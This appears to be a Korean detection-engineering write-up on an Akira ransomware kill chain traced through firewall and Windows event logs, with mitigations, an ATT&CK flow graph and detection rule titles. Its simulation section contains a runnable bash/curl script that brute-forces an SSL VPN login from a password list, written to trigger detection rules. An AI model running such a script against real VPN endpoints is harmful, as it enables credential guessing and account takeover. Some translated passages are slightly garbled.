경계 및 엔드포인트 로그를 통한 Akira 랜섬웨어 킬 체인 추적
Detection stack
- AIDR
- Alert
- ETL
- Query
요약
이 기사는 Akira 랜섬웨어 작전에 연결된 최근 침해에 대해 설명합니다. 공격자는 비활성화된 로컬 SSL VPN 계정을 무차별 대입(brute-forcing)하여 초기 접근을 얻고, 이후 자격 증명 검색, Kerberoasting, RDP를 통한 횡적 이동을 진행했습니다. 암호화를 시작하기 전에 로그를 지우고 섀도 복사본을 제거했습니다. 주목할 만한 점은 전체 시퀀스를 방화벽 syslog 데이터와 Windows EVTX 로그를 통해 볼 수 있었으며, 엔드포인트 탐지 도구에 의존하지 않았습니다. 이 보고서는 주변 및 엔드포인트 텔레메트리를 결합하면 랜섬웨어 활동을 초기 단계에서 노출시킬 수 있음을 강조합니다.
조사
조사는 SSL VPN 방화벽 로그와 도메인 컨트롤러 및 구성원 서버에서 수집한 Windows 이벤트 로그 내보내기에 전적으로 의존했습니다. 이벤트 ID는 다음을 포함합니다 4624, 4688, 4769, 1102, 및 7036 이들이 초기 접근부터 최종 영향까지의 전체 킬 체인을 재구성하는 데 상관관계가 있었습니다. 관측된 기술에는 자격 증명 스터핑, 도메인 발견, Kerberoasting, RDP 인증, 로그 지우기, 섀도 복사본 삭제가 포함되었습니다. 침입 맵을 그리기 위해 메모리 이미지나 EDR 텔레메트리가 필요하지 않았습니다.
완화책
이 보고서는 원격 액세스 보안 강화, MFA 시행, 방화벽 접근 목록에서 비활성 계정 제거 및 인증 잠금 정책 강화를 권장합니다. 또한 모든 시스템에서 이벤트 ID와 함께 상세한 프로세스 감사 활성화, 보안 로그 보유 기간 증가, 주요 로그를 외부 저장소로 전달하는 것을 권장합니다. 탐지 콘텐츠는 RC4 기반 Kerberos 티켓, 4688 섀도 복사본 삭제 및 섀도 복사본 삭제 및 예상치 못한 PowerShell 명령을 포함해야 합니다 -EncodedCommand를 사용한 명령. 인프라 전반의 일관된 시간 동기화는 신뢰할 수 있는 상관 관계에 필수적입니다.
대응
식별된 지표가 나타나면 대응자는 즉시 손상된 VPN 계정을 격리하고 영향을 받은 시스템을 격리해야 합니다. 관련 방화벽 및 EVTX 로그를 보존하고 자격 증명을 재설정하며, 손상된 계정을 비활성화하고 가능한 경우 깨끗한 백업에서 섀도 복사본을 복원해야 합니다. 추가적인 지속성 또는 후속 활동을 식별하기 위한 전체 포렌식 검토를 진행하며, 랜섬웨어 대응 절차를 활성화합니다. 이해관계자에게 즉시 알리고, 필요 시에는 공개를 고려해야 합니다.
"graph TB %% Class definitions classDef phase fill:#ffcc99 classDef tool fill:#c2f0c2 %% Node definitions phase_initial_access["<b>Phase</b> – Initial Access<br/><b>Technique</b> – T1133 External Remote Services<br/><b>Description</b>: Credential stuffing against SSL VPN using compromised local account."] class phase_initial_access phase tech_valid_accounts["<b>Technique</b> – T1078 Valid Accounts<br/><b>Description</b>: Use of stolen credentials to log into the VPN."] class tech_valid_accounts phase phase_discovery["<b>Phase</b> – Discovery<br/><b>Technique</b> – T1482 Domain Trust Discovery<br/><b>Description</b>: Enumerate domain trusts using nltest."] class phase_discovery phase tech_account_discovery["<b>Technique</b> – T1087 Account Discovery<br/><b>Description</b>: Enumerate groups and users via net.exe and whoami."] class tech_account_discovery phase phase_credential_access["<b>Phase</b> – Credential Access<br/><b>Technique</b> – T1558.003 Kerberoasting<br/><b>Description</b>: Request RC4 service tickets to crack service account passwords."] class phase_credential_access phase phase_lateral_movement["<b>Phase</b> – Lateral Movement<br/><b>Technique</b> – T1021.001 Remote Services Remote Desktop Protocol<br/><b>Description</b>: Use RDP to move laterally to servers and domain controllers."] class phase_lateral_movement phase phase_persistence["<b>Phase</b> – Persistence and Privilege Escalation<br/><b>Technique</b> – T1136 Create Account<br/><b>Description</b>: Create a new service account in a nonu2011default OU and add it to privileged groups."] class phase_persistence phase phase_execution["<b>Phase</b> – Execution<br/><b>Technique</b> – T1059.001 PowerShell<br/><b>Description</b>: Run PowerShell scripts with -EncodedCommand.<br/><b>Technique</b> – T1059.003 Windows Command Shell<br/><b>Description</b>: Use cmd.exe for various commands."] class phase_execution phase phase_defense_evasion["<b>Phase</b> – Defense Evasion<br/><b>Technique</b> – T1070.001 Clear Windows Event Logs<br/><b>Description</b>: Clear Windows event logs.<br/><b>Technique</b> – T1562 Impair Defenses<br/><b>Description</b>: Stop security services using sc.exe or net stop."] class phase_defense_evasion phase phase_impact["<b>Phase</b> – Impact<br/><b>Technique</b> – T1490 Inhibit System Recovery<br/><b>Description</b>: Delete shadow copies with vssadmin.<br/><b>Technique</b> – T1565.001 Stored Data Manipulation<br/><b>Description</b>: Encrypt files on disk."] class phase_impact phase tool_ssl_vpn["<b>Tool</b> – SSL VPN client"] class tool_ssl_vpn tool tool_nltest["<b>Tool</b> – nltest utility"] class tool_nltest tool tool_net["<b>Tool</b> – net.exe utility"] class tool_net tool tool_whoami["<b>Tool</b> – whoami command"] class tool_whoami tool tool_powershell["<b>Tool</b> – PowerShell"] class tool_powershell tool tool_cmd["<b>Tool</b> – cmd.exe"] class tool_cmd tool tool_sc["<b>Tool</b> – sc.exe command"] class tool_sc tool tool_vssadmin["<b>Tool</b> – vssadmin utility"] class tool_vssadmin tool %% Connections showing flow phase_initial_access –>|leads to| tech_valid_accounts tech_valid_accounts –>|leads to| phase_discovery phase_discovery –>|leads to| tech_account_discovery tech_account_discovery –>|leads to| phase_credential_access phase_credential_access –>|leads to| phase_lateral_movement phase_lateral_movement –>|leads to| phase_persistence phase_persistence –>|leads to| phase_execution phase_execution –>|leads to| phase_defense_evasion phase_defense_evasion –>|leads to| phase_impact %% Tool usage edges phase_initial_access –>|uses| tool_ssl_vpn phase_discovery –>|uses| tool_nltest phase_discovery –>|uses| tool_net phase_discovery –>|uses| tool_whoami phase_execution –>|uses| tool_powershell phase_execution –>|uses| tool_cmd phase_defense_evasion –>|uses| tool_sc phase_impact –>|uses| tool_vssadmin "
공격 흐름
탐지
관리자 계정 또는 그룹 나열 가능성 (명령줄을 통해)
보기
계정 또는 그룹 나열 / 조작 가능성 (명령줄을 통해)
보기
의심스러운 도메인 신뢰 탐색 (명령줄을 통해)
보기
의심스러운 VSSADMIN 활동 (명령줄을 통해)
보기
RDP 기반 횡적 이동 및 도메인 수준 권한 상승 탐지 [Microsoft Windows 보안 이벤트 로그]
보기
SSLVPN 무차별 대입 및 자격 증명 스터핑 탐지 [방화벽]
보기
시뮬레이션 실행
전제 조건: 텔레메트리 및 기준 사전 비행 검사를 통과해야 합니다.
근거: 이 섹션은 탐지 규칙을 트리거하도록 설계된 적의 기술(TTP)의 정확한 실행을 자세히 설명합니다. 명령어와 서술은 식별된 TTP를 반영해야 하며 탐지 논리에 의해 예상되는 정확한 텔레메트리를 생성하는 것을 목표로 합니다.
-
공격 서사 및 명령어:
- 정찰(T1087): 공격자는 손상된 내부 시스템에서 사용자 이름을 나열하고 자격 증명 스터핑 목록을 작성합니다 (예:
users.txt). - 무차별 대입 루프 (T1021.001 / T1078.001): 알려진 호스팅 제공업체에 속한 손상된 외부 IP 범위(예:
203.0.113.45)를 사용하여 공격자는 1시간 내에 빠른 일련의 SSLVPN 인증 시도가 실패하게 됩니다 (≥ 50회). 각 시도는 목록에서 다른 암호를 사용하여 단일 피해자 계정을 대상으로 합니다. - 성공적인 자격 증명 스터핑: 목록을 모두 소진한 후, 올바른 비밀번호를 찾아 동일한 IP에서 성공적으로 로그인하여 “successful_auth” 절을 충족시킵니다.
- 회피 (선택적 – T1070.001): 공격자는 성공적으로 로그인한 후 추적을 숨기기 위해 VPN 장치에서 보안 로그를 지웁니다(이 규칙에서 다루지 않음).
- 정찰(T1087): 공격자는 손상된 내부 시스템에서 사용자 이름을 나열하고 자격 증명 스터핑 목록을 작성합니다 (예:
-
회귀 테스트 스크립트: Bash 스크립트를 사용하는
curl(Linux 공격자 박스에서 작동). 실제 환경에 맞게 변수를 조정하십시오.#!/usr/bin/env bash # ------------------------------------------------------------------ # SSLVPN 무차별 대입 및 자격 증명 스터핑 시뮬레이션하여 시그마 규칙을 트리거합니다. # ------------------------------------------------------------------ VPN_ENDPOINT="https://vpn.example.com/remote/auth" USERNAME="victim_user" PASSWORD_LIST="passwords.txt" # 한 줄당 하나의 비밀번호 SOURCE_IP="203.0.113.45" # VPN에 라우팅 가능해야 함 # 단일 로그인 시도를 수행하는 함수 tempt_login() { local pwd="$1" # --silent로 혼잡을 피하고, --write-out으로 HTTP 코드 캡처 curl --silent --output /dev/null --write-out "%{http_code}" --user "$USERNAME:$pwd" "$VPN_ENDPOINT" } # 1. 55번의 로그인 시도 실패 생성 (속도 ~ 1/sec) echo "실패한 시도를 시작합니다..." count=0 while IFS= read -r pwd && [ $count -lt 55 ]; do http_code=$(tempt_login "$pwd") echo "Attempt $((count+1)): HTTP $http_code (expected 401)" ((count++)) sleep 1 # 1시간 이내 창 유지 done < "$PASSWORD_LIST" # 2. 올바른 비밀번호로 성공적인 로그인 수행 (파일의 마지막 줄로 가정) echo "성공적인 로그인 수행..." correct_pwd=$(tail -n1 "$PASSWORD_LIST") http_code=$(tempt_login "$correct_pwd") echo "Successful attempt: HTTP $http_code (expected 200)" echo "시뮬레이션 완료." -
정리 명령어: 임시 파일을 제거하고 방화벽 속도 제한을 재설정합니다(변경된 경우).
#!/usr/bin/env bash # SSLVPN 무차별 대입 시뮬레이션 후 정리 # 임시 비밀번호 목록이 즉석에서 생성된 경우 삭제 if [ -f passwords.txt ]; then shred -u passwords.txt echo "Deleted passwords.txt" fi # 테스트를 위한 임시 iptables 규칙이 사용된 경우 선택적으로 재설정 sudo iptables -D INPUT -s 203.0.113.45 -j DROP 2>/dev/null || true echo "정리가 끝났습니다."